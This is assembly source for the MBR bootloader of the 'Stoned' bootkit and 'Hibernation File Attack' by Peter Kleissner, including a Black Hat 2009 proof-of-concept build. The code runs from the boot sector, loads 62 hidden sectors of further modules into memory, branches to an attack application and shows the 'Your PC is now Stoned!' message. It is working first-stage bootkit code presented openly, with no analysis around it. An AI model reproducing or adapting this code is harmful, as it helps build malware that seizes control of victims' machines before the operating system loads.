; ***********************************************************

;       Name: Bootloader
;       Author: Peter Kleissner
;       Version: 1.03
;       Date: 16.02.2008 20:40:07
;       last Update: 25.11.2008 21:08:33

;       Forensic Lockdown Software / Hibernation File Attack
;       (C) 2008 Vienna Computer Products

;       The Bootloader of the Forensic Lockdown Software.
;       This is the first sector, part of the MBR and
;       loaded by the BIOS.

;       For: ToasterOS BMS, FLS, Hibernation File Attack, Stoned
;                |
;                +--› MBR Version
;                +-----› Standalone
;                |  |         |
;                |  |         l---› FAT16
;                |  |         l---› FAT32
;                |  |         l---› NTFS
;                |  |
;                |  +--› ISO Version (UDF)
;                |
;                +---> Forensic Lockdown Software
;                +---> Black Hat Europe 2009 Version
;                +---> Stoned

; ***********************************************************

[bits 16]                                       ; create a 16 Bit Code
CPU 386                                         ; Assemble instructions up to the 386 instruction set

%include "Kernel Storage.asm"

org 7C00h



; 0000h:7C00h
jmp 0000h:7C05h

; store registers for executing later other boot loaders
pushad
mov [cs:Boot_Stack_Pointer],esp


; disable Interrupts & clear the direction flag
cli
cld


; set the Stack to 0000h:Stack_Pointer
xor eax,eax
xor ebx,ebx
mov ss,ax
mov sp,Stack_Pointer

; set the Data Segments to zero
mov ds,bx
mov es,bx
mov fs,bx
mov gs,bx



; (Table 00653)
; Values Bootstrap loader is called with (IBM BIOS):
;       CS:IP = 0000h:7C00h
;       DH = access
;           bits 7-6,4-0: don't care
;           bit 5: =0 device supported by INT 13
;       DL = boot drive
;           00h first floppy
;           80h first hard disk


; check if the boot drive is a floppy [unsupported]
test dl,80h
jz Drive_Error

; check if the drive is not supported by Interrupt 13h [unreliable]
;test dh,00100000b
;jnz Drive_Error

; store the boot drive
mov [Boot_Drive],edx




; load the default values for the disk address packet
mov [dap_Size],byte 10h
mov [dap_Reserved],al

; [ds:si] = disk address packet
mov si,disk_address_packet



; load all Kernel Modules (the whole Master Boot Record) into memory
mov [dap_Count],word 63-1
mov [Boot_Drive_Sector],eax
mov [dap_LBA_low],dword 1
mov [dap_LBA_high],eax
mov [dap_Buffer],dword System_Loader

; interrupt 13h, function 42h: Extended Read
mov ah,42h
int 13h

jc Read_Error



%ifdef Forensic_Lockdown_Software

; Rescue Mode?
cmp [Configuration_Area + 76],byte 1
je Rescue_Module



; relocate Partition Table and Disk Signature
mov si,Configuration_Area + 440
mov di,Disk_Signature
mov ecx,(4*16 + 6) / 2

rep movsw

%endif



%ifdef Hibernation_File_Attack

; Rescue Mode? (also available in Hibernation File Attack)
cmp [Configuration_Area + 76],byte 1
je Rescue_Module

; Hibernation File Attack Application?
cmp [Configuration_Area + 78],byte 1
je Hibernation_File_Attack_Application

%endif



; make an integrity check
;**TODO



; check for signed code
;**TODO



; display worlds-famous Stond message, now again after 1987 - 2009  =)

; display the message only if multiple of 440 ms time delay
test [es:046Ch],byte 00000111b
%ifndef BlackHatUSA2009POC
jnz Message_Output_Finished
%endif

; Your PC is now Stoned!  ..again
mov si,Stoned_Message
call Print_Text

%ifdef BlackHatUSA2009POC
; continue with a key press
xor ah,ah                                       ; Function 00h: Get Keystroke
int 16h
%endif

Message_Output_Finished:



; jump to the Loader Module
jmp 0000h:System_Loader






Boot_Error:

; if boot partition isn't found

mov si,MSG_Boot_Error
jmp Public_Error



Drive_Error:

; if boot drive is a floppy

mov si,MSG_Drive_Error
jmp Public_Error



Read_Error:

; if there was an read error

mov si,MSG_Read_Error
;jmp Public_Error




; the public error handler (si = specific text)
Public_Error:

%ifdef Forensic_Lockdown_Software

; *** fatal error, enable Rescue Mode (only available in Forensic Lockdown Software)
push si
mov si,disk_address_packet
mov [Configuration_Area + 76],byte 1
mov [dap_Count],word 1
mov [dap_LBA_low],dword 62
mov [dap_LBA_high],dword 0
mov [dap_Buffer],dword Configuration_Area

mov dl,[Boot_Drive]
mov ax,4300h
int 13h
pop si

%endif

call Print_Text

mov si,MSG_Rescue_Mode
call Print_Text

mov si,MSG_Reboot
call Print_Text


; reboot after a key press
xor ah,ah                                       ; Function 00h: Get Keystroke
int 16h

; jump to the BIOS reboot
jmp word 0FFFFh:0000h




Print_Text:

; prints the text given in si

mov bx,0007h                                    ; Page Number = 0, Attribute = 07h
mov ah,0Eh                                      ; Function 0Eh: Teletype Output

cs lodsb                                        ; load the first character

Next_Char:
int 10h
cs lodsb                                        ; al = next character
or al,al                                        ; last letter?
jnz Next_Char                                   ; if not print next letter

ret




; Error Messages
MSG_Drive_Error         db      10, 13, "Invalid Boot-Drive", 0
MSG_Boot_Error          db      10, 13, "Boot Error", 0
MSG_Read_Error          db      10, 13, "Read Error", 0
MSG_Rescue_Mode         db      10, 13, "Rescue Mode enabled **", 0
MSG_Reboot              db      10, 13, "Press a key to restart", 0

Boot_Checksum           dd      "QDOS"          ; used in ToasterOS Standalone only


; Stoned message (7 = BEL, 13 = CF, 10 = LF)
Stoned_Message      db  7, "Your PC is now Stoned!  ..again", 7, 13, 10, 0


; ToasterOS Validation
ToasterOS_Validation_Area
  Signature             db      'ToasterOS Genuine   '
  Version               db      '01.00-ALPHA3'
  Date                  db      '17.02.2008 13:56'
  Module_Name_length    db      10
  Module_Name           db      'Bootloader'
  Product_Name_length   db      23
  Product_Name          db      'Hibernation File Attack'
  End_Signature         db      '(C) 2005 - 2008 Peter Kleissner '




; Error routines entry points

times 1AFh-($-$$) db 0

jmp Boot_Error
jmp Read_Error



; language descriptions [unused]

times 1B5h-($-$$) db 0

Error_Message_1_length  db      0
Error_Message_2_length  db      0
Error_Message_3_length  db      0



; Disk Signature

times 440-($-$$) db 0

Disk_Signature          dd      0       ; required for Windows
                        dw      0       ; drive identification



; Partition Table (set up for test debugging environment)

times 1BEh-($-$$) db 0


Partition_1
    Partition_1_bootable        db      0
    Partition_1_Start_CHS       db      00h, 01h, 01h
    Partition_1_Type            db      04h                 ; FAT16
    Partition_1_End_CHS         db      0, 0, 0
    Partition_1_Start_LBA       dd      63
    Partition_1_Sectors         dd      16128               ; ~ 8 MB
Partition_2
    Partition_2_bootable        db      80h                 ; active partition
    Partition_2_Start_CHS       db      0, 0, 0
    Partition_2_Type            db      07h                 ; NTFS
    Partition_2_End_CHS         db      0, 0, 0
    Partition_2_Start_LBA       dd      16128 + 63
    Partition_2_Sectors         dd      40952               ; ~ 20 MB
Partition_3
    Partition_3_bootable        db      0
    Partition_3_Start_CHS       db      0, 0, 0
    Partition_3_Type            db      0
    Partition_3_End_CHS         db      0, 0, 0
    Partition_3_Start_LBA       dd      0
    Partition_3_Sectors         dd      0
Partition_4
    Partition_4_bootable        db      0
    Partition_4_Start_CHS       db      0, 0, 0
    Partition_4_Type            db      0
    Partition_4_End_CHS         db      0, 0, 0
    Partition_4_Start_LBA       dd      0
    Partition_4_Sectors         dd      0


times 510-($-$$) db 0

Boot_Signature  dw      0AA55h
